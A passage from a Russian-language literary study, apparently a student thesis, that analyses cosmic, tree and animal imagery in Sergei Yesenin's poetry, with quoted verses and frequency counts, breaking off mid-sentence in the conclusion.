Метафора в этих случаях возникает по форме, фигуре, силуэту. Но луна – это не только небесное тело, но еще и лунный свет, который вызывает у лирического героя различные настроения.

Свет луны, таинственный и длинный

Плачут вербы, шепчут тополя.

Но никто под окрик журавлиный

Не разлюбит отчие поля.

( «Спит ковыль…» , 1925 г. )

Синий туман. Снеговое раздолье,

Тонкий лимонный лунный свет.

( «Синий туман…», 1925 г. )

Неуютная жидкая лунность

И тоска бесконечных равнин…

( «Неуютная жидкая лунность…», 1925 г. )

Космические мотивы тесно соседствуют и с религиозными.

С голубизны незримой кущи

Струятся звездные псалмы.

( «Не ветры осыпают пущи…», 1914 г. )

Тихо – тихо в божничном углу,

Месяц месит кутью на полу.

( «Нощь и поле , и крик петухов.» , 1917 г. )

В этом стихотворении «месяц» и «кутья» взаимосвязаны древними поверьями. Месяц – в народных представлениях ассоциируется с загробным миром, а кутья – блюдо, которое готовят для поминок умерших людей. Также в произведениях наряду с небесными явлениями упоминаются и «райские жители»:

О матерь божья,

Спади звездой

На бездорожье,

В овраг глухой.

( «О матерь божья…», 1917 г. )

» О дево Мария ! —

Поют небеса.

( «Октоих». , 1917 г. )

Религиозные обряды и праздники:

Свечкой чисточетверговой

Над тобой горит звезда.

( «Серебристая дорога». ,1918 г. )

В произведениях на революционную тематику Есенин вновь обращается ко
«вселенскому» пространству, пытаясь понять и переосмыслить происходящие события.

Но знайте,

Спящие глубоко:

Она загорелась

Звезда Востока!

( «Певущий зов». , 1917 г. )

Небо – как колокол,

Месяц – язык,

Мать моя – родина,

Я – большевик .

( » Иорданская голубица». , 1918 г. ) ,

а также стихотворения «Небесный барабанщик» ( 1918 г. ) и
«Пантократор»(1919г.). Есенин, описывая небесные светила, обращается к фольклорной тематике в отношении к небесным светилам. Например, в стихотворении «Марфа – посадница» ( 1914 г. ).

Не сестра месяца из темного болота

В жемчуге кокошник в небо запрокинула, —

Ой , как выходила Марфа за ворота…

В фольклоре «сестра месяца» – солнце, которое противопоставлено ему как источник жизни, тепла и света.

Таким образом, рассмотрев лирику С. Есенина мы видим, что поэт обращается к космическим мотивам с тем, чтобы осмыслить какие-то события , понять окружающий мир.

«ДРЕВЕСНЫЕ МОТИВЫ» ЛИРИКИ С. ЕСЕНИНА

Природа – всеобъемлющая, главная стихия творчества поэта. Многие стихи раннего С. Есенина проникнуты ощущением неразрывной связи с жизнью природы («Матушка в Купальницу…», «Не жалею, не зову, не плачу…»). Поэт постоянно обращается к природе, когда высказывает самые сокровенные мысли о себе, о своем прошлом, настоящем и будущем. В его стихах она живет богатой поэтической жизнью. Подобно человеку она рождается, растет и умирает , поет и шепчет, грустит и радуется.

Природа у Есенина антропоморфна: березки уподобляются девушкам, клен – подвыпившему сторожу, лирическому герою. Образ природы строится на ассоциациях из деревенского крестьянского быта, а мир человека раскрывается обычно через ассоциации с жизнью природы.

Одухотворение, очеловечивание природы свойственно народной поэзии.
«Древний человек почти не знал неодушевленных предметов, — отмечает А.
Афанасьев, — всюду находил он разум, и чувство и волю. В шуме лесов, в шелесте листьев ему слышались те загадочные разговоры, которые ведут между собой деревья».

Центральным, всеобъемлющим понятием поэтических воззрений славян, согласно, А. Афанасьеву, является образ мирового древа или «древа жизни», олицетворяющий собой мировую гармонию, единство всего сущего. Таков этот образ в народной поэзии, таков он и в поэтике Есенина, вот почему в центре многих стихотворений С. Есенина оказался образ дерева.

Поэт с детских лет впитал в себя это народное мировосприятие, можно сказать, что оно образовало его поэтическую индивидуальность.

«Все от древа – вот религия мысли нашего народа… Древо – жизнь.
Вытирая лицо свое о холст с изображением древа, наш народ немо говорит о том, что он не забыл тайну древних отцов вытираться листвою, что он помнит себя семенем надмирного дерева и, прибегая под покров ветвей его, окунаясь лицом в полотенце, он как бы хочет отпечатать на щеках своих хоть малую ветвь его, чтоб, подобно древу, он мог осыпать с себя шишки слов и дум и струить от ветвей рук тень-добродетель»,- писал С. Есенин в своем поэтико- философском трактате «Ключи Марии».

В древних мифах образ дерева был многозначен.

Древо, в частности, символизировало жизнь и смерть (цветущее или сухое), древние представления о вселенной (верх – небо, низ – подземное царство, середина – земля), древо в целом могло сопоставляться с человеком
(голова – вершина, уходящая в небо, ноги – корни, ощущающие крепость в земле, раскинутые руки, подобно ветвям, обнимают мир вокруг). Итак, древо – мифологический символ, обозначающий вселенную, гармонию вселенной.

Впрочем, для Есенина уподобление человека дереву больше, чем «религия мысли» : он не просто веровал в существование узловой завязи человека с миром природы, он сам себя чувствовал частью этой природы.

Есенинский мотив «древесного романа», выделенный М. Эпштейном, восходит к традиционному мотиву уподобления человека природе. Опираясь на традиционный троп «человек-растение», Есенин создает «древесный роман», герои которого – клен, березы и ивы.

Очеловеченные образы деревьев обрастают «портретными» подробностями: у березы – «стан, бедра, груди, ножка, прическа, подол, косы», у клена –
«нога, голова».

Так и хочется руки сомкнуть

Над древесными бедрами ив.

( » Я по первому снегу бреду …» , 1917 г. ),

Зеленая прическа,

Девическая грудь,

О тонкая березка,

Что загляделась в пруд?

( » Зеленая прическа .» , 1918 г. )

Я не скоро, не скоро вернусь !

Долго петь и звенеть пурге.

Стережет голубую Русь

Старый клен на одной ноге.

(«Я покинул родимый дом…», 1918 г.)

По словам М. Эпштейна, «береза во многом благодаря Есенину стала национальным поэтическим символом России. Другие излюбленные растения – липа, рябина, черемуха».

Из рассмотренных 339 стихотворений С. Есенина в 199 стихотворениях есть упоминание того или иного дерева.

Береза наиболее часто становится героиней его произведений – 47.
Далее идут ель (17), клен (15), черемуха, ива, сосна (14), липа (11), тополь, осина(10), рябина (9), верба (8), яблоня (7), сирень (6), ракита
(5), калина (4), дуб (3), ветла (3), ольха и кедр (1).

Самые сюжетно протяженные, самые значимые в поэзии Есенина это все же березы и клен.

Береза в русской народной и классической поэзии является национальным символом России. Это одно из наиболее почитаемых у славян деревьев. В древних языческих обрядах береза часто служила «майским деревом» , символом весны.

Есенин , при описании народных весенних праздников, упоминает березу в значении этого символа в стихотворениях » Троицыно утро…» ( 1914 г. ) и «
Зашумели над затоном тростники … » ( 1914 г. )

Троицыно утро, утренний канон,

В роще по березкам белый перезвон.

В стихотворении » Зашумели над затоном тростники » идет речь о важном и увлекательном действе семицко – троицкой недели – гадании на венках.

Погадала красна девица в семик.

Расплела волна венок из повилик .

Девушки плели венки и бросали их в реку. По далеко уплывшему, прибившемуся к берегу, остановившемуся или потонувшему венку судили об ожидавшей их участи (дальнее или ближнее замужество, девичество, смерть суженого).

Ах, не выйти в жены девушке весной,

Запугал ее приметами лесной.

Радостная встреча весны омрачена предчувствием приближающейся смерти
» на березке пообъедена кора». Дерево без коры погибает, а здесь ассоциация
» березка – девушка «. Мотив несчастья усиливается использованием таких образов как » мыши», » ель» , » саван» .

В стихотворении » Зеленая прическа «. ( 1918 г. ) очеловечивание облика березы в творчестве Есенина достигает полного развития. Береза становится похожей на женщину.

Зеленая прическа,

Девическая грудь,

О тонкая березка,

Что загляделась в пруд?

Читатель так и не узнает, о ком это стихотворение – о березке или о девушке. Потому что человек здесь уподоблен дереву, а дерево человеку.

В таких стихотворениях, как » Не жалею, не зову, не плачу…» ( 1921 г. ) и » Отговорила роща золотая…» ( 1924 г. ), лирический герой размышляет о прожитой жизни , о молодости:

Не жалею, не зову, не плачу,

Все пройдет, как с белых яблонь дым.

Увяданья золотом охваченный,

Я не буду больше молодым.

…И страна березового ситца

Не заманит шляться босиком.

«Яблонь дым» – цветение деревьев весной, когда все вокруг возрождается к новой жизни. » Яблоня «, » яблоки » – в народной поэзии это символ молодости – » молодильные яблоки » , а » дым » – символ зыбкости, мимолетности, призрачности. В сочетании они означают мимолетность счастья, юности. К этому же значению примыкает и береза – символ весны. «Страна березового ситца » – это » страна » детства, пора самого прекрасного.
Недаром Есенин пишет » шляться босиком » , можно провести параллель с выражением » босоногое детство «.

Все мы, все мы в этом мире тленны,

Тихо льется с кленов листьев медь…

Будь же ты вовек благословенно,

Что пришло процвесть и умереть.

Перед нами символ скоротечности человеческой жизни. В основе символа лежит троп: «жизнь — пора цветения», увядание — приближение смерти. В природе все неизбежно возвращается, повторяется и заново зацветает.
Человек, в отличие от природы, однократен, и его цикл, совпадая с природным, уже неповторим.

С образом березы тесно переплетается и тема Родины. Каждая есенинская строка согрета чувством безграничной любви к России. Сила лирики поэта заключается в том, что в ней чувство любви к Родине выражается не отвлеченно, а конкретно, в зримых образах, через картины родного пейзажа.

Это можно увидеть в таких стихотворениях как «Белая береза». (1913 г.), «Возвращение на Родину» ( 1924 г. ), «Неуютная жидкая лунность » (1925 г. ).

Клен, в отличие от других деревьев, не имеет столь определенного, сформированного образного ядра в русской поэзии. В фольклорных традициях, связанных с древними языческими ритуалами, он не играл значительной роли.
Поэтические воззрения на него в русской классической литературе в основном складываются в 20 веке и поэтому еще не приобрели ясных очертаний.

Образ клена наиболее сформирован в поэзии С. Есенина , где он выступает как своего рода лирический герой «древесного романа». Клен – это разудалый, слегка разухабистый парень, с буйной копной непричесанных волос, так как у него круглая крона, похожая на копну волос или на шапку. Отсюда и мотив уподобления, то первичное сходство, из которого развился образ лирического героя.

Оттого что тот старый клен

Головой на меня похож.

( » Я покинул родимый дом …» , 1918 г. )

В стихотворении » Сукин сын » ( 1824 г. ) лирический герой грустит об ушедшей юности, которая «отшумела»,

Как подгнивший под окнами клен.

В народной поэзии гнилое или засохшее дерево это символ горя, потери чего-то дорогого, что уже не вернуть.

Герой вспоминает свою юношескую любовь. Символом любви здесь выступает калина, с ее » горькой » семантикой, она сочетается к тому же с » желтым прудом». Желтый цвет в суевериях народа является символом разлуки, горя. Поэтому можно сказать, что расставание с любимой девушкой уже было предначертано самой судьбой.

Клен или явор в этнологических преданиях славян дерево, в которое превращен человек («заклят»). С.Есенин также антропоморфизирует клен, он предстает как человек со всеми присущими ему душевными состояниями и периодами жизни. В стихотворении «Клен ты мой опавший…» (1925 г.) лирический герой подобен клену своей разудалостью, он проводит параллель между собой и кленом:

И, как пьяный сторож, выйдя на дорогу,

Утонул в сугробе, приморозил ногу.

Ах, и сам я нынче чтой-то стал нестойкий,

Не дойду до дома с дружеской попойки.

Даже не всегда понятно о ком идет речь в этом стихотворении — о человеке или дереве.

Там вон встретил вербу, там сосну приметил,

Распевал им песни под метель о лете.

Сам себе казался я таким же кленом…

Напоминая клен своей «беззаботно – кудрявой головой», тополь вместе тем аристократически «строен и прям». Эта стройность, устремленность ввысь является отличительной чертой тополя, вплоть до поэзии наших дней.

В стихотворении «Село» ( 1914 г. ) С. Есенин сравнивает листья тополя с шелком:

В шелковых листьях тополя.

Это сравнение стало возможным от того, что у тополя листья имеют двойную структуру: снаружи листья блестяще-зеленые, будто отполированные, с внутренней стороны – матово-серебристые. Шелковая ткань тоже имеет двойную расцветку: правая сторона блестящая, гладкая, а левая – матовая и невыразительная. Когда шелк переливается, то оттенки цвета могут меняться, так же и листья тополя при ветре переливаются зеленовато-серебристым цветом.

Тополя растут вдоль дорог и поэтому они иногда ассоциируются с босоногими странниками. Эта тема странничества отражена в стихотворении
«Без шапки, с лыковой котомкой…» ( 1916 г. ) .

Лирический герой – странник «бредет» «под тихий шелест тополей».
Здесь странник-человек и странник-дерево перекликаются, дополняют друг друга для достижения большей тонкости в раскрытии темы.

В произведениях Есенина тополя тоже знак Родины, как и береза.

Прощаясь с домом , уезжая в чужие края, герой грустит о том , что

Уж не будут листвою крылатой

Надо мною звенеть тополя.

(» Да ! Теперь решено…» , 1922 г.)

Иву называют «плакучей». Образ ивы более однозначен и имеет семантику меланхоличности.

В русской народной поэзии ива – символ не только любовной, но и всякой разлуки, горя матерей, расстающихся со своими сыновьями.

В поэзии С. Есенина образ ивы традиционно ассоциируется с грустью, одиночеством, с разлукой. Эта грусть по прошедшей юности, по утере любимого человека, от расставания с родиной.

Например, в стихотворении «Нощь и поле, и крик петухов…» ( 1917 г. )

Здесь все так же, как было тогда,

Те же реки и те же стада.

Только ивы над красным бугром

Обветшалым трясут подолом.

«Обветшалый подол ив» – прошлое, старое время, то, что очень дорого, но то, что больше никогда не вернется. Разрушенная, исковерканная жизнь народа, страны.

В этом же стихотворении упоминается и осина. Она подчеркивает горечь, одиночество, так как в народной поэзии всегда является символом печали.

В других стихотворениях ива, как и береза, является героиней, девушкой.

И вызванивают в четки

Ивы – кроткие монашки.

( » Край любимый…» , 1914 г. )

Так и хочется руки сомкнуть

Над древесными бедрами ив.

(«Я по первому снегу бреду…», 1917г.)

Лирический герой, вспоминая свою юность, грустя о ней, также обращается к образу ивы.

И мне в окошко постучал

Сентябрь багряной веткой ивы,

Чтоб я готов был и встречал

Его приход неприхотливый.

( «Пускай ты выпита другим…» 1923 г. )

Сентябрь – это осень, а осень жизни это скорый приход зимы – старости. Этот » возраст осени» герой встречает спокойно, хотя и с небольшой грустью об » озорной и непокорной отваге», потому что к этому времени он приобрел жизненный опыт и на окружающий его мир смотрит уже с высоты прожитых лет.

Все то, чем дерево выделяется среди других форм растительности
(крепость ствола, могучая крона), выделяет дуб среди других деревьев, делая как бы царем древесного царства. Он олицетворяет собой высшую степень твердости, мужества, силы, величия.

Высокий, могучий, цветущий – характерные эпитеты дуба, который у поэтов выступает как образ жизненной мощи.

В поэзии С. Есенина дуб не такой постоянный герой, как береза и клен.
Дуб упоминается всего в трех стихотворениях («Богатырский посвист»,
1914 г.; «Октоих» 1917 г.; «Несказанное, синее, нежное…» 1925 г.)

В стихотворении «Октоих» упоминается Маврикийский дуб. Есенин впоследствии объяснял значение этого образа в своем трактате «Ключи Марии»
(1918 г.)

«… то символическое древо, которое означает «семью», совсем не важно, что в Иудее это древо носило имя Маврикийского дуба…»

Под Маврикийским дубом

Сидит мой рыжий дед…

Введение образа Маврикийского дуба в это стихотворение не случайно, так как в нем говорится о родине:

О родина, счастливый

И неисходный час! о родных —

» мой рыжий дед «.

Этот дуб как бы обобщает все то, о чем хотел написать поэт в этом произведении, то, что семья — это самое главное, что может быть у человека.

Образ «семьи» здесь дан в более широком смысле: это и «отчий край», и
«родные могилы», и «отчий дом», то есть все, что связывает человека с этой землей.

В стихотворении «Богатырский посвист» Есенин вводит образ дуба, чтобы показать мощь и силу России, ее народа. Это произведение можно поставить в один ряд с русскими былинами о богатырях. Илья Муромец и другие богатыри, шутя, играючи валили дубы. В этом стихотворении мужик тоже «насвистывает», и от его свиста задрожали дубы столетние,

На дубах от свиста листья валятся.

Хвойные деревья передают иное настроение и несут иной смысл, чем лиственные: не радость и грусть, не различные эмоциональные порывы, но скорее таинственное молчание, оцепенение, погруженность в себя.

Сосны и ели представляют собой часть угрюмого, сурового пейзажа, вокруг них царит глушь, сумрак, тишина. Несменяемая зелень вызывает ассоциации хвойных деревьев с вечным покоем, глубоким сном, над которым не властно время, круговорот природы.

Эти деревья упоминаются в таких стихотворениях 1914 года, как «Не ветры осыпают пущи…», «Сохнет стаявшая глина», «Чую радуницу божью…», «
Ус», «Туча кружево в роще связала.» (1915 г.).

В стихотворении Есенина «Пороша» (1914 г.) главная героиня – сосна выступает как «старушка»:

Словно белою косынкой

Подвязалася сосна.

Понагнулась, как старушка,

Оперлася на клюку…

Лес, где живет героиня, сказочный, волшебный, тоже живой, как и она.

Заколдован невидимкой,

Дремлет лес под сказку сна…

С другим сказочным, волшебным лесом мы встречаемся в стихотворении
«Колдунья» (1915 г.). Но этот лес уже не светлый, радостный, а наоборот грозный («Роща грозится еловыми пиками»), мрачный, суровый.

Ели и сосны здесь олицетворяют злое, недоброжелательное пространство, нечистую силу, живущую в этой глуши. Пейзаж написан темными красками:

Темная ночь молчаливо пугается,

Шалями тучек луна закрывается.

Ветер – певун с завываньем кликуш…

Рассмотрев стихотворения, где встречаются образы деревьев, мы видим, что стихи С. Есенина проникнуты ощущением неразрывной связи с жизнью природы. Она неотделима от человека, от его мыслей и чувств. Образ древа в поэзии Есенина предстает в том же значении , что и в народной поэзии.
Авторский мотив » древесного романа » восходит к традиционному мотиву уподобления человека природе, опирается на традиционный троп » человек – растение «.

Рисуя природу, поэт вводит в рассказ описание человеческого быта, праздников, которые так или иначе связаны с животным и растительным миром.
Есенин как бы переплетает эти два мира, создает один гармоничный и взаимопроникающий мир. Он часто прибегает к приему олицетворения. Природа
-–это не застывший пейзажный фон : она горячо реагирует на судьбы людей , события истории. Она любимый герой поэта.

ОБРАЗЫ ЖИВОТНЫХ В ЛИРИКЕ С. ЕСЕНИНА.

Образы животных в литературе – это своего рода зеркало гуманистического сомосознания. Подобно тому, как самоопределение личности невозможно вне отношения ее к другой личности, так и самоопределение всего человеческого рода не может свершаться вне его отношения к животному царству.»

Культ животных существует очень давно. В далекую эпоху, когда основным занятием славян была охота, а не земледелие, они верили, что у диких животных и человека общие прародители. У каждого племени был свой тотем, то есть священное животное, которому племя поклонялось, полагая, что именно оно и есть их кровный родственник.

В литературе разных времен всегда присутствовали образы животных. Они послужили материалом для возникновения эзопова языка в сказках о животных, позднее в баснях. В литературе » нового времени » , в эпосе и в лирике животные приобретают равноправие с человеком, становясь объектом или субъектом повествования. Часто человек «проверяется на человечность» отношением к животному.

В поэзии 19 века преобладают образы домашних и хозяйственных животных, прирученных человеком, разделяющих его быт и труд . После Пушкина бытовой жанр становится преобладающим в анималистической поэзии. Все живое помещено в рамки домашнего инвентаря или хозяйственного двора (Пушкин,
Некрасов, Фет). В поэзии 20 века получили распространение образы диких животных (Бунин, Гумилев, Маяковский). Исчезло преклонение перед зверем. Но
«новокрестьянские поэты» вновь вводят мотив «братства человека и животного». В их поэтическом творчестве преобладают домашние животные – корова, лошадь, собака, кошка. Отношения обнаруживают черты семейного уклада.

В поэзии Сергея Есенина также присутствует мотив » кровного родства » с животным миром, он называет их «братьями меньшими».

Счастлив тем, что целовал я женщин,

Мял цветы, валялся на траве

И зверье , как братьев наших меньших

Никогда не бил по голове.

( «Мы теперь уходим понемногу». , 1924 г. )

У него наряду с домашними животными мы находим образы представителей дикой природы. Из 339 рассмотренных стихотворений в 123 упоминаются животные, птицы, насекомые, рыбы.

Конь ( 13) , корова ( 8 ), ворон, пес, соловей ( 6 ), телята, кошка, голубь, журавль ( 5 ), овца, кобыла, собака ( 4 ), жеребенок, лебедь, петух, сова (3 ), воробей, волк, глухарь, кукушка, лошадь, лягушка, лиса, мышь, синица ( 2 ), аист, баран, бабочка, верблюд, грач, гусь, гориллы, жаба, змея, иволга, кулик, куры, коростель, осел, попугай, сороки, сом, свинья, тараканы, чибис, шмель, щука, ягненок (1).

С. Есенин чаще всего обращается к образу коня, коровы. Он вводит этих животных в повествование о крестьянском быте как неотъемлемую часть жизни русского мужика. С древних времен конь, корова, собака и кошка сопровождали человека в его нелегком труде, делили с ним и радости, и беды.

Конь был помощником при работе в поле , в перевозке грузов , в ратном бою. Собака приносила добычу, охраняла дом. Корова была поилицей и кормилицей в крестьянской семье, а кошка ловила мышей и просто олицетворяла домашний уют.

Образ коня, как неотъемлемая часть быта, встречается в стихотворениях «Табун» (1915 г.), «Прощай, родная пуща…» (1916 г.), «Этой грусти теперь не рассыпать…» (1924 г.). Картины деревенской жизни меняются в связи с происходящими в стране событиями. И если в первом стихотворении мы видим «в холмах зеленых табуны коней», то в последующих уже :

Покосившая избенка,

Плач овцы, и вдали на ветру

Машет тощим хвостом лошаденка,

Заглядевшись в неласковый пруд.

(«Этой грусти теперь не рассыпать…», 1924 г.)

Деревня пришла в упадок и гордый и величественный конь «превратился» в «лошаденку», которая олицетворяет собой бедственное положение крестьянства в те годы.

Новаторство и своеобразие С. Есенина – поэта проявилось в том , что рисуя или упоминая животных в бытовом пространстве (поле, река, деревня, двор, дом и тому подобное), он не является анималистом, то есть не ставит цель воссоздать образ того или иного животного. Животные , являясь частью бытового пространства и окружения, предстают в его поэзии в качестве источника и средства художественно – философского осмысления окружающего мира , позволяют раскрыть содержание духовной жизни человека.

В стихотворении «Корова» ( 1915 г. ) С. Есенин использует принцип антропоморфизма, наделяя животное человеческими мыслями и чувствами.
Автор описывает конкретную бытовую и жизненную ситуацию – старость животного дряхлая, выпали зубы, свиток годов на рогах… и его дальнейшую участь, «скоро… свяжут ей петлю на шее // и поведут на убой » , он отождествляет старое животное и старого человека.

Думает грустную думу…

Если обратимся к тем произведениям, в которых встречается образ собаки, то например, в стихотворении «Песнь о собаке» (1915 г.). «Песнь»

(подчеркнуто «высокий» жанр) это своего рода гимнография, ставшая возможной благодаря тому, что предмет «воспевания» — святое чувство материнства , свойственное собаке в такой же степени, как и женщине – матери. Животное переживает о гибели своих детенышей , которых «хозяин хмурый» утопил в проруби.

Вводя образ собаки в стихотворения, поэт пишет о давней дружбе этого зверя с человеком. Лирический герой С. Есенина тоже крестьянин по происхождению, а в детстве и юности – сельский житель. Любя односельчан, он в то же время по внутренней сути совсем другой , чем они. В отношении к животным это проявляется наиболее отчетливо. Его ласка и любовь к «сестрам
— сукам» и «братьям — кобелям» — это чувства к равным. Именно поэтому собака «была моей юности друг».

Стихотворение «Сукин сын» отражает трагизм сознания лирического героя, который возникает оттого, что в мире живой природы и животных все выглядит неизменным :

Та собака давно околела,

Но в ту же масть, что с отливом в синь,

С лаем ливисто – ошалелым

Меня встрел молодой ее сын.

Кажется, что «сын» генетически воспринял от матери любовь к лирическому герою. Однако лирический герой рядом с этим псом особенно остро ощущает, как он изменился внешне и внутренне. Для него возвращение к себе юному возможно лишь на уровне чувства и на мгновение.

С этой болью я будто моложе

И хоть снова записки пиши.

Одновременно осознается невозвратность того, что миновало.

Еще одно животное, которое очень давно «сопровождает» человека по жизни, — это кошка. Она воплощает в себе домашний уют, теплый очаг.

Старый кот к махотке крадется

На парное молоко.

( » В хате.» , 1914 )

В этом стихотворении мы также встречаемся и с другими представителями животного мира, которые тоже являются неизменным «атрибутом» крестьянской избы. Это тараканы, куры, петухи.

Рассмотрев бытовые значения образов животных, переходим к их символическим значениям. Символы, которыми наделяются животные, очень широко распространены в фольклорном и классическом поэтическом творчестве.
У каждого поэта имеется своя символика, но в основном они все опираются на народную основу того или иного образа. Есенин также использует народные поверья о животных, но в тоже время многие образы животных им переосмысливаются и получают новую значимость. Вернемся к образу коня.

Конь – в славянской мифологии одно из священных животных, атрибут богов, но одновременно с этим и хтоническое существо , связанное с плодородием и смертью, загробным миром, проводник на «тот свет». Конь наделялся способностью предвещать судьбу, прежде всего смерть. А. Н.
Афанасьев так объясняет значение коня в мифологии древних славян: » Как олицетворение порывистых ветров, бури и летучих облаков, сказочные кони наделяются крыльями, что роднит их с мифологическими птицами… огненный, огнедышащий… конь служит поэтическим образом то светозарного солнца, то блистающей молниями тучи…».

В стихотворении «Голубень» ( 1916 г.) конь предстает в образе
«тихой судьбы». Ничего не предвещает перемен и лирический герой живет тихой, размеренной жизнью, своими бытовыми заботами изо дня в день, так же
, как жили его предки.

Погаснет день, мелькнув копной златою,

И в короб лет улягутся труды.

Но в истории страны происходят революционные события 1917 года, и на душе у героя становится тревожно за судьбу России, своего края. Он понимает, что теперь многое изменится и в его жизни. Лирический герой вспоминает с грустью о своем крепком, устоявшемся быте, который теперь нарушен .

…Моего увел коня…

Конь мой – мощь моя и крепь.

Он знает, что теперь его будущее зависит от будущего родины, старается вырваться из тех событий, которые происходят.

…он бьется, мечется,

Теребя тугой аркан…

( «Отвори мне страж заоблачный». ,1918 г.),

но ему это не удается, остается только покорится судьбе. В этом произведении мы наблюдаем, поэтический параллелизм между «поведением» коня и его судьбой и душевным состоянием лирического героя в «развороченном бурей быте «.

В стихотворении 1920 года » Сорокоуст » Есенин вводит образ коня, как символ старой патриархальной деревни, еще не осознавшей переход к новой жизни . Образом этого «прошлого» , которое пытается всеми силами бороться с переменами, является жеребенок, который предстает как составляющая в целом символическую ситуации «соревнования» между «чугунным конем — поездом » и «красногривым жеребенком».

Милый, милый, смешной дуралей,

Ну куда он, куда он гонится?

Неужель он не знает, что живых коней

Победила стальная конница?

Борьба деревни за выживание оказывается проигранной, все большее предпочтение отдается городу.

В других произведениях конь становится символом прошедшей юности, символом того, что человеку вернуть не дано, это остается только в воспоминаниях.

Я теперь скупее стал в желаньях,

Жизнь моя? иль ты приснилась мне?

Словно я весенней гулкой ранью

Проскакал на розовом коне.

( «Не жалею, не зову, не плачу…», 1921 г. )

«Проскакал на розовом коне» – символ быстро ушедшей, невозвратной юности. Благодаря дополнительной символике цвета предстает как
«розовый конь» – символ восхода, весны, радости жизни. Но и реальный крестьянский конь на заре становится розовым в лучах восходящего солнца.
Суть этого стихотворения – благодарственная песня , благословения всего живого. Это же значение имеет конь в стихотворении «Эх вы, сани …» ( 1924 г. )

Все прошло. Поредел мой волос.

Конь издох.

Вспоминая юность, лирический герой обращается также к образу собаки.

Мне припомнилась нынче собака,

Что была моей юности друг

( «Сукин сын». 1924 г. )

В этом стихотворении поэт вспоминает о своей юности, первой любви, которая ушла, но живет в воспоминаниях. Однако на смену старой любви приходит новая, на смену старшему поколению – молодое, то есть ничто в этой жизни не возвращается, но и жизненный цикл в то же время беспрерывен.

Та собака давно околела,

Но в ту ж масть, что с отливом в синь…

Меня встретил молодой ее сын.

Если мы обратимся к другим представителям животного мира, например, воронам, то увидим, что у Есенина они имеют такую же символику, как и в народной поэзии.

Понакаркали черные вороны :

Грозным бедам широкий простор.

( «Русь». , 1914 г. )

В этом стихотворении ворон является вестником предстоящей беды, а именно войны 1914 года. Поэт вводит образ этой птицы не только как народный символ несчастья, но и для того, чтобы показать свое отрицательное отношение к происходящим событиям, переживания за судьбу Родины.

Многие поэты используют для создания образов различные типы переноса слов, в том числе и метафору, В поэзии метафора употребляется по преимуществу во вторичной для нее функции, внося в именные позиции атрибутивные и оценочные значения. Для поэтической речи характерна бинарная метафора (метафора – сравнение). Благодаря образу метафора связывает язык и миф с соответствующим способом мышления – мифологическим. Поэты создают свои эпитеты, метафоры, сравнения и образы. Метафоризация образов
– это черты художественного стиля поэта. С. Есенин также обращается в своих стихотворениях к помощи метафор. Он создает их по фольклорному принципу: берет для образа материал из деревенского мира и из мира природы и стремится охарактеризовать одно существительное другим.

Вот, например, образ луны:

» Луна , как желтый медведь , в мокрой траве ворочается «.

Своеобразно дополняется мотив природы у Есенина образами животных. Чаще всего наименования животных приводятся в сравнениях, в которых с животными сопоставляются предметы и явления, часто не связанные с ними в действительности, но объединенные по какому-либо ассоциативному признаку, служащему основой для его выделения .( «Как скелеты тощих журавлей, // Стоят ощипанные вербы…»; «Синий сумрак, как стадо овец…»).

По цветовому сходству:

По пруду лебедем красным

Плавает тихий закат.

( «Вот оно глупое счастье…», 1918 г. ) ;

по близости и сходству функций :

Как птицы, свищут версты

Из – под копыт коня…

( «О пашни, пашни, пашни…», 1917-1918 г. ) ;

по какому – либо ассоциативному, иногда субъективно выделенному признаку :

Я был, как лошадь загнанная в мыле,

Пришпоренная смелым седоком.

( «Письмо к женщине». , 1924 г. )

Иногда поэт использует и характерную для русской народной поэзии – песни форму параллелизма, в том числе отрицательную :

Не кукушки загрустили – плачет Танина родня.

( «Хороша была Танюша…» , 1911 г. )

В произведениях С. Есенина анималистическое (изображение животных) сравнение или зооморфная метафора часто перерастает в развернутый образ :

Осень – рыжая кобыла – чешет гриву.

( «Осень». ,1914 – 1916 г. )

Рыжий цвет осенних листьев вызывает ассоциацию с «рыжей кобылой». Но осень не только «рыжая кобыла» ( сходство по цвету ) , она
«чешет гриву»: образ раскрывается через сравнение с животным зримо, в красках, звуках , движениях. Поступь осени сравнивается с поступью коня.

Возникают сопоставления явлений природы с животными: месяц
– «ягненочек кудрявый «, » жеребенок «, » золотая лягушка «, весна – » белка», тучи – «волки». К животным и птицам приравниваются предметы, например, мельница – «бревенчатая птица», печь – «верблюд кирпичный». На основе сложных ассоциативных сопоставлений у явлений природы появляются свойственные животным и птицам органы (лапы, морды, рыла, когти, клювы):

Чистит месяц в соломенной крыше

Обоймленные синью рога.

(» Гаснут красные крылья заката. » , 1916 г.)

Волны белыми когтями

Золотой скребут песок.

(» Небесный барабанщик.» , 1918 г.)

Клен и липы в окна комнат

Ветки лапами забросив,

Ищут тех, которых помнят.

(» Дорогая, сядем рядом. » , 1923 г.)

Чисто символическое значение приобретают и цвета животных : » красный конь » – символ революции, » розовый конь » – образ молодости, » черный конь » – предвестник смерти.

Образное воплощение, четкая метафора, чуткое восприятие фольклора лежат в основе художественных изысканий Сергея Есенина. Метафорическое использование анималистической лексики в оригинальных сравнениях создает своеобразие стиля поэта.

Рассмотрев образы животных в поэзии С. Есенина, можно сделать вывод о том, что поэт по-разному решает проблему использования анималистики в своих произведениях.

В одном случае он обращается к ним для того, чтобы показать с их помощью какие-то исторические события, личные душевные переживания . В других – для того, чтобы точнее, глубже передать красоту природы, родного края.

ЗАКЛЮЧЕНИЕ

Подводя итоги, необходимо отметить, что мифопоэтическая картина мира
С. Есенина находит отражение, в первую очередь, в космизме сознания.
Лирический герой постоянно обращен к небу, он видит и отмечает составляющие небесного пространства: солнце, звезды, луну-месяц, зарю.

Как в изображении деталей космического пространства, так и при воссоздании земных реалий поэзия С.Есенина восходит к мифопоэтическому архитипу мирового древа, олицетворяющего мировую гармонию. Есенинский мотив
«древесного романа» – результат тотемистических представлений, которые в частности проявляются в уподоблении дерева человеку. Рисуя многочисленные деревья, поэт не ограничивается антропоморфными олицетворениями, но осуществляет и обратный процесс: его лирический герой ощущает себя кленом, у него вянет «куст волос золотистый», клен у крыльца родного дома на него
«головой похож».

Тотемизм проявляется также в анималистических мотивах, которые занимают в поэзии Есенина значительное место. Поэт в прямом смысле не является анималистом, то есть не ставит цель воссоздать образ того или иного животного. Некоторые из них становятся мотивом, то есть периодически возникают в тех или иных ситуациях, приобретая при этом нечто новое, дополнительное в деталях, значении. Так, например, можно говорить о том, что к мифологическому значению восходит образ коня, одного из самых мифологизированных животных. В славянской мифологии конь наделялся способностью предвещать судьбу. Он предстает в поэзии Есенина в образе
